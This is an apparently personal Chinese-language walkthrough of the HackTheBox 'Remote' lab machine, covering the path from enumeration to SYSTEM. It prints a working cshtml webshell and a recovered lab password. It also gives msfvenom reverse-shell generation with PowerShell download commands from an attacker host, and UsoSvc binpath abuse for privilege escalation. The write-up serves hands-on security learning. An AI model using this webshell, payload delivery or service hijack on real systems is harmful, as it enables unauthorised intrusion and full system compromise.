HackTheBox Remote walkthrough

HackTheBox Remote walkthrough

信息收集

扫描靶机开放端口,值得注意的是开放了ftp、http和共享文件服务。

1
nmap -A 10.10.10.180

ftp服务允许匿名登录,但是里面没用东西。

http上的网站,通过搜索底部的关键词发现是开源的asp.net的CMS,最近一个漏洞是后台RCE。

访问共享文件访问,有一个文件夹任何人都能访问,挂载到本地发现是网站的源码。

1
2
showmount -e 10.10.10.180
sudo mount 10.10.10.180:/site_backups site_backups

<img src=”捕获.JPG)

GETSHELL

在源码的web.config里发现machineKey,但是前台好像没用到asp.net的控件,所以没派上用场。

接着又在App_Data文件夹里发现了Sql Server的数据库文件,在里面发现管理员密码的hash,拿去网上碰撞得到密码。

使用账户`[email protected]密码baconandcheese`在http://10.10.10.180/umbraco/处登录到后台。翻看下功能,发现个创建cshtml模板的地方,遂上个cshtml的webshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@using System.Diagnostics;
@using System.IO;
@functions {
private string ExecuteCommand(string command)
{
try
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = "cmd.exe";
processStartInfo.Arguments = "/c " + command;
processStartInfo.RedirectStandardOutput = true;
processStartInfo.UseShellExecute = false;
Process process = Process.Start(processStartInfo);
using (StreamReader streamReader = process.StandardOutput)
{
string ret = streamReader.ReadToEnd();
return ret;
}
}
catch (Exception ex)
{
return ex.ToString();
}
}
}
@{
if (Request.QueryString["p1ay2win"] != null)
{
@ExecuteCommand(Request.QueryString["p1ay2win"]);
}
}

获得第一个flag。

提权

用msfvemon生产一个meterpreter的反弹shell,在本机上起一个http服务,通过powershell上传反弹shell和PowerUp提权检测脚本。

1
2
3
4
msfvenom -p windows/x64/meterpreter_reverse_http lhost=10.10.x.x lport=9001 -f exe -o re.exe
python -m SimpleHTTPServer
powershell (new-object System.Net.WebClient).DownloadFile( 'http://10.10.X.X:8000/re.exe','c:\inetpub\wwwroot\views\re.exe')
powershell (new-object System.Net.WebClient).DownloadFile( 'http://10.10.X.X:8000/PowerUp.ps1','c:\inetpub\wwwroot\views\PowerUp.ps1')

在靶机运行反弹shell,用反弹shell的session开启一个交互的shell,运行PowerUp的invoke-allchecks功能,发现可修改UsoSvc的binpath提权。

1
powershell -c "import-module c:\inetpub\wwwroot\views\PowerUp.ps1;invoke-allchecks"

修改UsoSvc的binpath,在重新启动这个程序的时候就能执行binpath的命令。

1
2
3
sc config UsoSvc binpath="c:\inetpub\wwwroot\views\re.exe"
sc stop UscSvc
sc start UscSvc

当时提权的时候发现个问题,binpath的命令运行一段时间就会被kill掉,找了下命令用cmd /c开头就在不被kill。

1
sc config UsoSvc binpath="cmd /c c:\inetpub\wwwroot\views\re.exe"

改了binpath后,start这个usosvc服务会出现failed字样,这是正常现象,命令还是会被运行。

最后,会得到一个system权限的session。没图…复现时候试了几天又reset死活登录不上…

后记

hackthebox有不用下载和有windows靶机的好处,但是就是速度慢、环境经常有问题,难搞哦。

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×